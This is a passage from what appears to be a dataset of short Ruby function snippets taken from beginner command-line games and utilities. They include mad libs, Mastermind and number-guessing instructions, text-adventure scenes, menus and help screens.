### \n # # # # # # # # ###### ##### ##### # # # # # ###### # # # # # # ##### # # # ## # ##### ####### ##### # # # # #### # \n # # # # # # # # # # # # # # # # # # ### # # # # # # # # # # # # # # # # # ##### # # # \n # # # # # # ## # # # # # # # # ## ### # # # # # # # # # # # # # # # # # # # # # # # # ### \n ##### #### # # # # # # ###### # #### # # ### ###### #### # ###### ##### ##### #### # # ###### # # ###### # # #### #### ### \n \n \".colorize(:blue)\n user_inpupt=prompt.select(\"\\n\\n---Welcome to the Game of Superheros.\") do |menu|\n menu.choice \"------Register an Account\", -> {register_user_helper}\n menu.choice \"------Log Into Existing Account\", -> {user_login_helper}\n \n end\n\n system 'clear'\n end", "def madlib\n\tputs \"It's time for MadLibs!\"\n\tputs \"Adjective?\"\n\tadj1 = gets.chomp\n\tputs \"Name?\"\n\tname1 = gets.chomp\n\tputs \"Another adjective?\"\n\tadj2 = gets.chomp\n\tputs \"Body part?\"\n\tbody = gets.chomp\n\tputs \"Noun?\"\n\tnoun = gets.chomp\n\tputs \"Job?\"\n\tjob1 = gets.chomp\n\tputs \"One more adjective?\"\n\tadj3 = gets.chomp\n\tputs \"Another name?\"\n\tname2 = gets.chomp\n\tputs \"Another job?\"\n\tjob2 = gets.chomp\n\tputs \"Verb ending in -ing?\"\n\tverb = gets.chomp\n\tif verb.end_with?(\"ing\") == false\n\t\tputs \"Try another verb. Make sure it ends with -ing!\"\n\t\tverb = gets.chomp\n\telse\nend\n\n\tputs \"Thank You! Thank you from the bottom of my #{body}. I don't know what to say. I'm speechless.\"\n\tputs \"I truly didn't expect to win this #{noun}, certainly not with so many #{adj1} actors competing in the same category.\"\n\tputs \"First and foremost, my thanks to #{name1}. You couldn't work with a better #{job1}.\"\n\tputs \"And I'm sure I wouldn't be #{verb} here tonight if it weren't for my #{adj2} director.\"\n\tputs \"I must also thank #{name2}, who wrote a #{adj3} script for me.\"\n\tputs \"Of course, none of this would be happening if it weren't for my agent, who convinced the network that I could play a 75 year-old, retired #{job2}.\"\nend", "def mad_lib\n user_inputs = []\n required_data = %w(noun verb adjective adverb)\n required_data.each do |question|\n puts \"Enter a #{question}:\"\n user_inputs << gets.chomp\n end\n puts \"Do you #{user_inputs[1]} your #{user_inputs[2]} #{user_inputs[0]} #{user_inputs[3]}? That's hilarious!\"\nend", "def get_help\n puts \"RULES:\\n* Not Allowed to use any search engines for the answers\\n* 1 Player per game\\n* Must enjoy!\".colorize(:red)\n puts \"HELP:\\nAt Main Menu press the key 1 to Continue the game.\\nType the chosen Genre\\nAnswer following 10 questions\\nView score & Play again! \".colorize(:blue)\n puts \"\\nPress R to Return to MAIN MENU or ANY other key to exit\".colorize(:yellow)\n user_input = gets.chomp.downcase\n exit unless user_input == 'r'\nend", "def what_to_do(count)\n puts \"What do you want to do?\"\n sleep 0.5\n puts \"Type help for available commands!\"\n answer = gets.chomp.downcase\n if answer.include? \"help\"\n help(count, answer)\n end\n if answer.include? \"scrape\" and count == 0\n scrape_potatoes(count)\n elsif answer.include? \"cut\" and count == 1\n cut_potatoes(count)\n elsif answer.include? \"add\" and count == 2 and answer.include? \"potatoes\"\n add_potatoes_to_pan(count)\n elsif answer.include? \"stir\" and count == 3\n stir(count)\n elsif answer.include? \"break\" and count == 4\n break_eggs(count)\n elsif answer.include? \"salt\" and count > 4\n add_salt(count)\n elsif answer.include? \"pepper\" and count > 4\n add_pepper(count)\n elsif answer.include? \"exit\"\n exit\n elsif answer.include? \"serve\" and count > 4\n serve_dish\n else\n puts \"Thats not the right order! Try again\"\n sleep 2\n try_again(count)\n end\nend", "def display_instructions\r\n \r\n Console_Screen.cls #Clear the display area\r\n puts \"INSTRUCTIONS:\\n\\n\" #Display a heading\r\n\r\n #Display the game's instructions\r\n puts \"10 multiple choice questions! can you get them right?\" \r\n puts \"To answer a question type its corresponding letter!\"\r\n puts \"for example you want to enter answer A, so press a/A then Enter key.\"\r\n puts \" Your grade will be presented at the end but 5 or more wrong answers and you fail! \\n\\n\\n\"\r\n puts \"Each question is worth one point!\\n\\n\\n\\n\\n\\n\\n\\n\\n\"\r\n \r\n puts \"if your ready hit any key\"\r\n\tputs (\"\\n\" * 5)\r\n\t \r\n\t\r\n\tanswer = STDIN.gets \r\n\tanswer.chop! \r\n\t\r\n\tif answer == \"i\" \r\n\t\r\n\tputs \"10 out of 10 is a true fan 9 is a fan and 8 is a semi fan 7 is a FF new fan \"\r\n\tputs \"lower than that is failure.\" \r\n\r\n Console_Screen.pause #Pause the game\r\n end \r\n\r\n end", "def instructions\n puts \"Welcome to MASTERMIND Instructions. MASTERMIND will randomly select a four character Secret Code. Your job is to guess that code! MASTERMIND will let you know if your guess is close, and how close.\\n Would you like to (p)lay, or (q)uit?\"\n piq = gets.chomp\n if piq == \"play\" || piq == \"p\" || piq == \"(p)\"\n setup\n elsif piq == \"instructions\" || piq == \"i\" || piq == \"(i)\"\n instructions\n elsif piq == \"quit\" || piq == \"q\" || piq == \"(q)\"\n quit\n else\n puts \"Invalid entry\"\n welcome\n end\n end", "def q3_page\n\"\n\n\n\n\n\n\n\n\n\n What is your Food Mood?\n\n *-------------------* *-------------------* *-------------------*\n | | | | | |\n | | | | | |\n | | | | | |\n | Old Faves | | Surprise Me! | | Craving |\n | | | | | |\n | | | | | |\n | | | | | |\n *-------------------* *-------------------* *-------------------*\n\n 1: 2: Input your Craving:\n\nAnswer: \"\nend", "def user_choice_text_version\n this_here = pick_a_story\n puts \"\\n #{this_here.title}\"\n puts \"\\n\"\n Narrabot::Scraper.aesop_fable_text(this_here) if !this_here.text_and_moral\n puts this_here.text_and_moral\n puts \"\\n\"\n #puts \"Would you like me to read this story in my beautiful voice?\"\n #input = gets.chomp\n #switch = yes_or_no(input)\n #if switch == true\n # puts \"\"\n # \"#{this_here.text_and_moral}\".play (\"en\")\n #else\n # puts \"\"\n # play_and_puts(\"Okay\")\n #end\n end", "def mad_lib\n puts \"Welcome to my Mad Lib! Let's get stupid.\"\n puts \"Please enter a noun.\"\n noun1 = gets.chomp\n puts \"Please enter a verb (past tense).\"\n verb1 = gets.chomp\n puts \"Please enter an adjective.\"\n adjective1 = gets.chomp\n puts \"Okay! That's a good start, but to make this truly stupid, let's get one more round of input!\"\n puts \"Please enter another noun.\"\n noun2 = gets.chomp\n puts \"Please enter another verb (past tense).\"\n verb2 = gets.chomp\n puts \"Please enter another adjective.\"\n adjective2 = gets.chomp\n puts \"All right! Here's your paragraph:\"\n puts \"#{noun1} and #{noun2} went up the hill to fetch a pail of #{adjective1} water. #{noun1} #{verb1} and #{verb2} their #{adjective2} crown and #{noun2} left that clumsy idiot at the bottom of that hill.\"\nend", "def main\n # TODO: handle settings better\n $History = 7 # minimum spacing between cards from the same word\n $defaultDelay = 1 # default long-term delay, in days\n $Noise = 0.2 # noise in assigning long-term duedates\n $optimalStreak = 5 # how long should we go before switching categories?\n $Magic = 2 # affects the desired size of CardManager's queue\n $Adventure = 0.3 # percentage of novel cards to show the user\n\n # load data from data.yml\n dm = DeckManager.new('data.yml')\n loop do\n puts dm.getPrompt\n print \">> \"\n x = gets[0...-1] # discard trailing \\n\n if x == \"quit\"\n dm.closeEverything\n puts \"ნახვამდის!\" # \"goodbye!\" ქართულად\n return\n else\n response = dm.acceptAnswer(x) # response might be nil\n puts response if response\n end\n end\nend", "def entry_banner\n 'Four by four'\n end", "def where_are_you_at?\n puts \"\"\n puts Rainbow(\"*\").blue * 70\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"We are going to ask you a few basic questions, and suggest an\"\n puts \"activity for you based on your answers. This won't take long.\"\n puts \"\"\n puts \"\"\n puts \"Where are you?\"\n puts \"\"\n puts \" 1. Home\"\n puts \" 2. Work\"\n puts \" 3. Somewhere else\"\n puts \"\"\n puts \"Please enter a number.\"\n puts \"\"\n user_response = gets.strip\n self.quit if user_response == \"quit\"\n if user_response == \"1\"\n self.limit_place = \"home\"\n elsif user_response == \"2\"\n self.limit_place = \"work\"\n elsif user_response == \"3\"\n self.limit_place = \"not work or home\"\n else\n self.what_was_that?\n self.where_are_you_at?\n end\n self.how_much_time?\n puts \"\"\n end", "def banner\n unless @banner\n @banner = +\"Usage: #{program_name} [options]\"\n visit(:add_banner, @banner)\n end\n @banner\n end", "def billy_goat_on_bridge\n slowly do\n \"\"\"\n Oh, no! That troll doesn't know what he's in for!!!\n\n Duncan backs up and summons the billy goat spirit within him. \n\n The troll laughs. 'What's this?' he says. \n\n Duncan squats on his haunches, and darts at the troll, bashing his little head right into the troll's balls!\n\n The troll groans. 'Ughhhhhhhh!'\n\n Duncan laughs and spins. He drop kicks the troll in the face, and the troll tumbles over the bridge to splatter \n on the rocks below. \n\n And Duncan sits at the picnic table to enjoy his bacon. \n\n Yum. \n\n Nothing beats bacon. \n \"\"\"\n end # end slowly\n $ending += 5\n spacing\n slowly do\n \"Press Enter to continue.\" \n end\n prompt\n STDIN.gets.chomp!\n ending_chooser($ending)\n end", "def instruction()\n puts \"Welcome to the MasterMind word game\"\n puts \"\\nThe System has been generate a word which includes 5 letters and no duplicate each \\nletter, you are going to guess this word. you have 10 times chance to guess. you \\nwill get a feedback in each turn like below: \\n\\n Exact: The letter is an exact match to the letter in the same position in the code\\n Near: The letter is contained in the code, but is not in the correct position\\n Miss: The letter is not contained in the code\\n\"\n end", "def print_banner(banner_text, output)\n banner = Artii::Base.new\n output.puts\n output.puts banner.asciify(\" #{banner_text}\")\n output.puts\nend", "def display_help_message\n puts(\"Discover Your Spirit Animal is a fun personality quiz which identifies your spirit animal.\\n\\nYou will be presented with a description of a situation and a list of options. When prompted, you must select one of the available options by typing the number corresponding to the choice and pressing enter. If you enter something which is not one of the available choices, the question will be presented again. After all questions have been answered your spirit animal will be revealed!\\n\\nIf you wish to exit the program, you can type \\\"exit\\\" into the terminal when prompted for input.\")\n exit\nend", "def display_instructions\r\n \r\n Console_Screen.cls #Clear the display area\r\n puts \"INSTRUCTIONS:\\n\\n\" #Display a heading\r\n\r\n #Display the game's instructions\r\n puts \"This game randomly generates a number from 1 to 1000 and\" \r\n puts \"challenges you to identify it in as few guesses as possible.\"\r\n puts \"After each guess, the game will analyze your input and provide\"\r\n puts \"you with feedback. You may take as many turns as you need in\" \r\n puts \"order to guess the game's secret number.\"\r\n\tputs \"Player gets 10 tries to guess the secret number.\"\r\n\tputs \"If secret number not guessed within 10 tries game terminates.\\n\\n\\n\"\r\n puts \"Good luck!\\n\\n\\n\\n\\n\\n\\n\\n\\n\"\r\n print \"Press Enter to continue.\"\r\n\r\n Console_Screen.pause #Pause the game\r\n \r\n end", "def instructions(max,tries)\n puts \"Here are the instructions. \\nI have a secret number from 1 to #{max} and you have #{tries} chances to guess that number. \\nYou win if you guess correctly in #{tries} tries and I win if you don't!\"\nend", "def print_codebreaker_intro_easy\n puts 'Welcome to Mastermind! You are playing the role of the codebreaker.'\n puts 'The computer will choose a 4-color code that you will try to guess.'\n puts \"The valid letters/colors are #{'R'.red}, #{'O'.light_red}, #{'Y'.yellow}, #{'G'.green}, #{'B'.blue}, #{'I'.light_blue}, and #{'V'.magenta}.\"\n puts ''\n puts 'You will get feedback from the code master after each round in the locations corresponding to your guess.'\n puts 'A \"√\" means you have the right color in the right place.'\n puts 'An \"X\" means that the color is in the code but not in that place.'\n puts 'Finally, a \".\" means that color is not part of the code.'\n puts 'You have 6 rounds to guess correctly. Good luck!'\n puts ''\n end", "def intro\n\tputs \"As you gain consciousness you blink and look around.\"\n\tputs \"You are lying on the rough surface of a dock.\"\n\tputs \"You can smell the salt water and hear sea birds squalking.\"\n\tputs \"Your eyes adjust to the bright light.\"\n\tputs\n\tputs \"You realize that you are naked.\"\n\thline_bottom\n\t\n\tputs \"1. Jump into the water.\"\n\tputs \"2. Stand up and stretch.\"\n\td_prompt\n\td_intro = gets.chomp\n\td_input(d_intro)\n\n\tif d_intro == \"1\"\n\t\t### jump into water story\n\t\tph\n\telsif d_intro == \"2\"\n\t\tph\n\telse\n\t\tputs \"Please choose one of the options above.\"\n\t\tputs \"I would loop here but I haven't gotten to loops yet.\"\nend\t\t\n\t\n\n\n### Main Body\n\nhline_top\n\nintro\n\nhline_bottom\n\nputs\n\nend", "def hamster_organizer\n puts \"What is the hamster\\'s name?\"\n hamster_name = gets.chomp\n puts \"How loud is the hamster on a scale from 1 to 10?\"\n volume = gets.to_i #test .chomp if doesn't work\n puts \"What is the color of the fur?\"\n fur_color = gets.chomp\n puts \"Is the hamster a good candidate for adoption?(y,n)\"\n adoption_status = gets.chomp\n puts \"How many years old is the hamster?\"\n estimated_age = gets.to_i\n if estimated_age == \"\"\n puts estimated_age = nil\n end\n puts \"The hamster name is \" + \"#{hamster_name}\"\n puts \"The hamster is a \" + \"#{volume}\" + \" on a scale of 1 to 10\"\n puts \"The hamster is \" + \"#{fur_color}\"\n if adoption_status == \"y\"\n puts \"It is a good candidate for adoption\"\n elsif\n puts \"It is NOT a good candidate for adoption\"\n end\n puts \"We think the hamster is \" +\"#{estimated_age}\" + \" years old\"\nend", "def instructions\n\t\tputs \"\"\"Mastermind is a code-breaking game that helps develop deductive reasoning and logic by requiring players to deduce secret combinations of colors with minimal clues. After each of these chances, the creator of the code (in this case, the computer) must reveal how many pegs are the correct color in the correct location, or the correct color in the incorrect location, or completely incorrect. With this little information, the code breaker must improve upon his previous guess to crack the code. For this game we'll allow you to have 12 guesses before requiring a forfeit.\"\"\"\n\t\tputs \"Please push Enter to continue\"\n\t\tgets.chomp\n\tend", "def display_credits\n\n\tConsole_Screen.cls #clear the display area\n\n\t#thank the playser and display game information\n\nputs \"\\t\\tThank you for playing the Ruby Number Guessing Game.\\n\\n\\n\\n\"\nputs \"\\n\\t\\t\\t Developed by Kelvin Penn\\n\\n\"\nputs \"\\t\\t\\t\\t Copyright 2010\\n\\n\"\nputs \"\\t\\t\\tURL: http://www.tech-publishing.com\\n\\n\\n\\n\\n\\n\\n\\n\\n\"\n\nend", "def madlib\n print \"Enter a noun: \"\n noun = gets.chomp\n print \"Enter a verb: \"\n verb = gets.chomp\n print \"Enter an adjective: \"\n adjective = gets.chomp\n print \"Enter an adverb: \"\n adverb = gets.chomp\n\n puts \"The #{noun} wants to #{verb} #{adverb} but runs into the same #{adjective} problem.\"\nend", "def intro\n\tputs \"Welcome to the Secret Number game!! Created by Jason Haas.\"\n\tputs \"What is your name?\"\n\tplayer_name = gets.chomp\n\tputs \"Hi #{player_name}!!\"\n\tputs \"For this game you must guess a number between 1 and 10. You have 3 tries to guess correctly.\"\n\t# player_name\t\t# return the player_name\nend", "def display_instructions\n\n\tConsole_Screen.cls #clear th display area\n\tputs \"Instructions:\\n\\n\" #display a heading\n\n\t#display games instructions\n\tputs \"At the start of each round of play, the game randomly selects\"\n\tputs \"a word that is between minimum four and max ten characters long and\"\n\tputs \"challenges you to guess it. Before submitting your guess, you\"\n\tputs \"must specify five consontants and one vowel. If any of these\"\n\tputs \"are used in the word, they will be revealed on the screen,\"\n\tputs \"thereby making it easier for you to guess the secret word\"\n\tputs \"If a letter you chose is not in the word, then its space will \" +\n\t\" will be replaced by an underscore (_)\\n\\n\\n\"\n\tputs \"Goodluck!\\n\\n\\n\\n\\n\\n\\n\"\n\tprint \"Press Enter to continue.\"\n\n\tConsole_Screen.pause #pause the game\nend", "def show_input\n puts \"====================================\"\n puts \"What show would you like to explore?\"\n puts \"====================================\"\n puts \"\"\n input = gets.strip\n list = show_search(input)\n system(\"clear\")\n if list.keys.size < 1\n puts \"I'm sorry, there doesn't seem to be a show with that title.\"\n sleep(1)\n repeat_prompt\n else \n list.keys.each.with_index(1) {|k,i| puts \"#{i}) #{k}\"}\n end\n puts \"What production would you like to learn more about?\"\n puts \"\"\n input = gets.strip.to_i\n if input.between?(1,list.keys.size)\n Scraper.new('show', list[list.keys[input-1]])\n else\n system(\"clear\")\n puts \"I'm not sure what you want.\"\n sleep(1)\n system(\"clear\")\n repeat_prompt\n end\n system(\"clear\")\n Production.all.last.print\n repeat_prompt\n end", "def betaFuntions()\n print \"\\n-------------------------------------------------------------------------\\n\"\n puts \"These are the Beta Functions, these are functions that are not quite thought\"\n puts \"yet, I havne't put into the main menu yet, or isn't quite right for the menu\"\n puts \"Use these at your own discretion, I'm not your dad\"\n puts \"1) getIsMe()\"\n puts \"2) getOnMe() (heheheheh)\"\n puts \"3) printStringRandomFont(string, duration)\"\n puts \"4) printRandomFont(duration)\"\n puts \"5) getFont()\"\n puts \"99) Infinite Loop warning Message\"\n puts \"100) Return to safety\"\n coin = gets.to_i\n\n case(coin)\n when 1\n getIsMe()\n when 2\n getOnMe() #heheheheheh\n when 99\n infiniteLoopWarning(0)\n when 100\n menu()\n when 3\n puts \"Enter your strings to be printed, separated by a comma\"\n str = gets.chomp\n printStringRandomFont(str, getDuration())\n when 4\n printRandomFont(getDuration())\n when 5\n getFont()\n else\n puts \"Undefined Input\\nReturning To Safety\"\n menu()\n end\nend", "def intelligenceTest()\r\n puts \"Your intelligence is about to tested, let's see how you can do!\"\r\n if(@charPlaying.smarts == 5)\r\n puts\"Evaluate the expression: \"\r\n puts \"1^2 + 1^2 = \"\r\n @answer = gets()\r\n if (@answer.chomp == '2')\r\n @points += 1\r\n puts \"Good job smarty pants!\"\r\n else\r\n puts \"Really you don't know what 1 + 1 is!\"\r\n end\r\n elsif @charPlaying.smarts == 4\r\n puts\"Evaluate the expression: \"\r\n puts \"pi/0 = \"\r\n @answer = gets()\r\n if(@answer.chomp == '0')\r\n @points += 1\r\n puts \"Wow! You are smart!\"\r\n else\r\n puts \"You probably are not smarter than a 5th grader.\"\r\n end\r\n elsif @charPlaying.smarts == 3\r\n puts \"What is the square root of 4 * 16 = \"\r\n @answer = gets()\r\n if(@answer.chomp == '8')\r\n @points += 1\r\n puts \"Thats correct! One point for you!\"\r\n else\r\n puts \"Better luck next time!\"\r\n end\r\n elsif @charPlaying.smarts == 2\r\n puts \"How many minutes are in one year?\"\r\n @answer = gets()\r\n if(@answer.chomp == '525600')\r\n @points += 1\r\n puts \"That is a lot of minutes! 1 point for you #{@charPlaying.name}\"\r\n else\r\n puts \"I guess there's too many for you to count.\"\r\n end\r\n else\r\n puts \"What is the 50th digit of pi?\"\r\n @answer = gets()\r\n if(@answer.chomp == '1')\r\n @points += 1\r\n puts \"Thats correct and a point for you!\"\r\n else\r\n puts \"Well you only had a 1/10 chance to guess the right answer!\"\r\n end\r\n end\r\n end", "def display_instructions\n system(\"clear\")\n 40.times { print \"-\".white.bold}\n puts\n puts \"Welcome to MINESWEEPER 💣\".white\n 40.times { print \"-\".white.bold}\n puts\n puts\n puts \"Mines \".light_red + \"are aplenty and \".white + \"lives \".light_red + \"are scarce.\\nDiscover a bomb and c'est la vie!\\n\\nTo aid you in your perilous journey, rows\\nand columns are \".white + \"numbered \".light_red + \"on the side.\"\n puts\n puts \"Enter any key to continue\".white.bold\n puts \"Enter Q to quit\".white.bold\n gets.chomp\n end", "def start_bridge_quest\n slowly do\n\"\"\"\nWhat should Duncan do? \n There's bacon!! Dash across that bridge and hunt! -- Press 1\n Carefully approach and investigate the scenario. -- Press 2\n Use special power! -- Press 3\n\"\"\" \n end\n end", "def print_codebreaker_intro_hard\n puts 'Welcome to Mastermind! You are playing the role of the codebreaker.'\n puts 'The computer will choose a 4-color code that you will try to guess.'\n puts \"The valid letters/colors are #{'R'.red}, #{'O'.light_red}, #{'Y'.yellow}, #{'G'.green}, #{'B'.blue}, #{'I'.light_blue}, and #{'V'.magenta}.\"\n puts 'You will get feedback from the code master after each round.'\n puts 'The location of the feedback is random and does not necessarily correspond to locations in your guess.'\n puts 'A \"√\" indicates that the right color in the right place somewhere.'\n puts 'An \"X\" indicates there is a color that is in the code but not in the right place.'\n puts 'Finally, a \".\" indicates a color is not part of the code.'\n puts 'You have 12 rounds to guess correctly. Good luck!'\n puts ''\n end", "def display_credits\n\n\tConsole_Screen.cls #clear the display area \n\n\t#thanks the player and siplay game information\n\tputs \"\\t\\t Thank you for playing the Word Guessing Game. \\n\\n\\n\"\n\tputs \"\\n\\t\\t\\t Developed by Kelvin Penn\\n\\n\"\n\tputs \"\\t\\t\\t\\t Copyright 2010\\n\\n\"\n\tputs \"\\t\\t\\tURL: httyp://www.tech-publishing.com\\n\\n\\n\\n\\n\\n\\n\\n\"\n\nend", "def function_a(v1)\n\tprint \"Please input an adjective: \"\n\tinput = gets.chomp.downcase.capitalize\n#\tputs input\n\tprint \"Please input a business: \"\n\tinput2 = gets.chomp.downcase\n\ta1 = \"\"\n\ta1 = input2[0].match(/a|e|i|o|u/).nil? ? \"a \" : \"an \"\n#\tputs input2\n\tprint \"Please input an animal: \"\n\tinput3 = gets.chomp.downcase\n\ta2 = \"\"\n\ta2 = input3[0].match(/a|e|i|o|u/).nil? ? \"a \" : \"an \"\n#\tputs input3\n\tprint \"Please input a noise: \"\n\tinput4 = gets.chomp.downcase\n\ta3 = \"\"\n\ta3 = input4[0].match(/a|e|i|o|u/).nil? ? \"a \" : \"an \"\n#\tputs input4, \"\",\n\tputs \"\"\n\tputs v1.upcase,\n\t\tinput + \" Macdonald had \" + a1 + input2 + \", E-I-E-I-O\",\n\t\t\"And on that \" + input2 + \" he had \" + a2 + input3 + \", E-I-E-I-O\",\n\t\t\"With \" + a3 + input4 + \" \" + input4 + \" here\",\n\t\t\"And \" + a3 + input4 + \" \" + input4 + \" there,\",\n\t\t\"Here \" + a3 + input4 + \", there \" + a3 + input4 + \",\",\n\t\t\"Everywhere \" + a3 + input4 + \" \" + input4 + \",\",\n\t\tinput + \" Macdonald had \" + a1 + input2 + \", E-I-E-I-O!\"\nend", "def play_again?(username, banner_cards, banner_lets_play)\n puts \"Would you like to play again? (y/n)\"\n choice = gets.chomp[0].downcase\n if choice == \"n\"\n puts \"\\n\\n\"\n puts \"Thank you, #{username}, for visiting\".center(70)\n puts \"Mary's Magnificent Emporium of Blackjack\".center(70)\n puts banner_cards\n puts \"\\n\\n\"\n exit\n else\n puts banner_lets_play\n return choice\n end\n end", "def knowTheGameTrick\n\tputs \"Do you wanna know the trick of this game?\"\n\tputs \"If YES then type 1 and if NO then type 2.\"\n\tuserAnswer = gets\n\n\tif userAnswer.to_i == 1\n\t\tputs \"This game is designed according to halving technique (can also be called as Binary Search) where you are given only certain chances.\"\n\t\tputs \"Since computer says you whether the guessed number was high or low, you have to always guess the middle number and go on guessing the middle number everytime the range changes.\"\n\telse\n\t\tputs \"I guess, you probably knew the trick of the game. Thanks for playing. Enjoy!\"\n\tend\n\nend", "def print_banner(winner)\n colors = ['bg-magenta', 'bg-cyan', 'bg-red', 'bg-blue', 'bg-red', 'bg-gray']\n headline = \"********* GRAND WINNER! #{winner} won 5 matches! *********\"\n\n puts \"********************************************************\"\n puts \"********************************************************\"\n 5.times do\n puts colorize(headline, 'default', colors.sample)\n end\n puts \"********************************************************\"\n puts \"********************************************************\"\n puts\nend", "def gold_room\n puts \"This room is full of gold. How much do you take?\"\n\n print \"> \"\n choice = $stdin.gets.chomp\n\n # this line has a bug, so fix it\n if choice.include?(\"0\") # Write a regular expression here\n how_much = choice.to_i\n else\n dead(\"Man, learn to type a number.\")\n end\n\n if how_much < 50\n puts \"Nice, you're not greedy, you win!\"\n exit(0)\n else\n dead(\"You greedy bastard!\")\n end\nend", "def output_usage\n print \"== Usage \n karmabyns number_of_dice value_sought\"\n end", "def sce1_opt1\n # sce1_opt = gets.chomp.to_s.downcase\n puts \"\\nLooks like you will never solve the mystery\"\n puts \"Game Over\"\n `say -vFred Game Over`\nend", "def start(crate)\n puts \"What are you in the mood for?\" \n puts \"1. Techno Proper\\n2. Electro\\n3. House\\n4. Atmospheric\\n5. Highly Recommeneded\\n6. Other\\n7. All\\n\"\n input = gets.strip\n input_i = input.to_i\n acceptable_answers = (1..7).to_a\n while !acceptable_answers.any? { |answer| answer == input_i }\n puts \"\\nI'm sorry, that's not a valid option.\"\n puts \"Please enter a number from 1 - 7.\"\n input_i = gets.strip.to_i\n end\n \n tracks = []\n case input_i\n when 1\n tracks = self.get_tracks(crate, \"techno proper\")\n when 2 \n tracks = self.get_tracks(crate, \"electro\")\n when 3\n tracks = self.get_tracks(crate, \"house\")\n when 4\n tracks = self.get_tracks(crate, \"atmospheric\")\n when 5\n tracks = self.get_tracks(crate, \"recommended\")\n when 6\n tracks = self.get_tracks(crate, \"other\")\n when 7\n tracks = crate.releases\n end\n\n self.display_releases(tracks)\n self.listen?(tracks, crate)\n end", "def function_a\n\tsecret = \"Lilac\"\n\tcount = 10\n\tputs \"The secret word begins with a L.\"\n\twhile count >= 0\n\t\tprint \"GUESS: \"\n\t\tinput = gets.chomp\n\t\tif input.length == 0\n\t\t\tputs \"You wasted a guess =P\"\n\t\t\tcount -= 1\n\t\telsif input.length != 5\n\t\t\tputs \"0, 1, 2, 3, 4 that's how we count to five!\"\n\t\t\tcount -= 1\n\t\telsif input[0] != 'L'\n\t\t\tputs \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n\t\t\tcount -= 1\n\t\telsif input == secret\n\t\t\tputs \"Good Job! You are one with the Source.\"\n\t\t\texit\n\t\telse\n\t\t\tcount -= 1\n\t\t\tputs \"You have \" + count.to_s + \" guessed left!\"\n\t\tend\n\tend\nend", "def banana(name)\n\n# For names that start with vowels\nif name.downcase.start_with?('a','e','i','o','u')\n mod_name = name.downcase\n# For names that begin with a 2-letter consonant cluster\nelsif name.downcase.start_with?('bl', 'br', 'cl', 'cr', 'dr', 'fl', 'fr', 'gl', 'gr', 'pl', 'pr', 'sc', 'sk', 'sl', 'sm', 'sn', 'sp', 'st', 'sw', 'th', 'tr', 'ch')\n mod_name = name.slice(2..-1)\n# For names that begin with a 3-letter consonant cluster\nelsif name.downcase.start_with?('chr', 'thr', 'sch', 'scl', 'scr', 'shr', 'spl', 'spr', 'str', 'squ')\n mod_name = name.slice(3..-1)\n# For all other names\nelse\n mod_name = name.downcase.slice(1..-1)\nend\n\nif name.downcase == \"orange\"\n\tputs \"Nothing rhymes with orange.\"\nelse\nputs name.capitalize + \", \" + name.capitalize + \", bo-\" + (name.downcase.start_with?('b') ? mod_name.downcase.slice(0..-1) : \"b\"+mod_name) + \" \\r\\n\" + \n\"Banana-fana fo-\" + (name.downcase.start_with?('f') ? mod_name.downcase.slice(0..-1) : \"f\"+mod_name) + \" \\r\\n\" + \n\"Fee-Fi-mo-\" + (name.downcase.start_with?('m') ? mod_name.downcase.slice(0..-1) : \"m\"+mod_name) + \" \\r\\n\" + \nname.upcase + \"!\"\nend\n\nend", "def user_interface\n\tputs \"Hello, agent. Enter the name you would like to scramble below.\"\n\tagent_name = gets.chomp\n\n\talias_generator(agent_name)\nend", "def welcome_message_for_user_as_codebreaker\n puts \"OK, great! You're the codebreaker.\"\n puts \"I'm going to think up a secret code with 4 spots.\"\n puts \"The colors that I can choose from are: red, blue, green, yellow, purple, and orange.\"\n puts \"Hit enter when you're ready to enter your first guess!\"\n get_input\n end", "def introduction\n system 'clear'\n prompt(\"Each match is 5 rounds. First to 5 wins!\")\n prompt(\"Who is going first? Player or Computer? (p or c)\")\nend", "def helping_hand\n puts \"\\n\\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n puts \"To see a list of available commands type Help or h\"\n puts \"To check your inventory of currently equipped items, type Inventory or i\"\n puts \"To see what's in your back-pack, type Backpack of b\"\n puts \"Learn about character statistics (Hit Point, Strength, etc) by typing stats\"\n puts \"You have a player sheet called #{@hero_name.downcase}_character_sheet.txt\"\n\n health_advice\nend", "def difficulty(size,marker)\n p \"1 is easy, 2 is medium, and 3 is unbeatable difficulty\"\n choice = gets.chomp\n if [\"1\", \"2\", \"3\"].include?(choice) \n choose_ai(\"ai \" + choice,size,marker)\n else\n p \"Incorrect Input\"\n difficulty(size,marker)\n end\nend", "def usage()\n\tputs \"Usage:\"\n\tputs \"\t\" + $0 + \" banner.bnr outfolder\"\nend", "def display_instructions\r\n\r\n Console_Screen.cls #Clear the display area\r\n puts \"INSTRUCTIONS:\\n\\n\" #Display a heading\r\n\r\n #Display the game's instructions\r\n puts \"This game randomly generates a word that is between five and ten \"\r\n puts \"characters long. It is up to you to guess the secret word! At the \"\r\n puts \"beginning of the game, you will be given the opportunity to choose \"\r\n puts \"five consonants and one vowel. If any of your letters match the \"\r\n puts \"letters in the secret word they will be revealed. All other characters\"\r\n puts \"will be displayed as an underscore. Choose wisely, because you’ll \"\r\n puts \"only get one guess at the secret word!\\n\\n\"\r\n puts \"Good luck!\\n\\n\\n\\n\\n\\n\\n\\n\\n\"\r\n print \"Press Enter to continue.\"\r\n\r\n Console_Screen.pause #Pause the game\r\n\r\n end", "def hamster()\n\tputs \"What is your hamster's name?\"\n\thamster_name=gets.chomp\n\t\n\tputs \"How loud is your hamster?\"\n\tvolume_level=gets.chomp.to_i\n\t\n\tputs \"What is your hamster's fur color?\"\n\tfur_color=gets.chomp\n\t\n\tputs \"Is your hamster a good candidate for adoption? (y/n)\"\n\tcandidate=gets.chomp\n\t\n\tputs \"What's your hamster's approximate age?\" \n\t\tnumber = gets.chomp \n\t\t\tif number == ' ';\n\t\t\t\treturn nil\n\t\t\telse number = number.to_i;\n\t\t\t\t\n\tend\n\t\n\tputs \"Your hamster's name is #{hamster_name}. On a scale of 1 -10, your hamster's volume level is #{volume_level}. Your hamster's fur color is #{fur_color}. Is your hamster a good candidate for adoption? #{candidate}! And your hamster is approximately #{number} years old!\"\nend", "def display_instructions\r\n \r\n Console_Screen.cls #Clear the display area\r\n puts \"INSTRUCTIONS:\\n\\n\" #Display a heading\r\n\r\n #Display the game's instructions\r\n puts \"This game randomly generates a number from 1 to 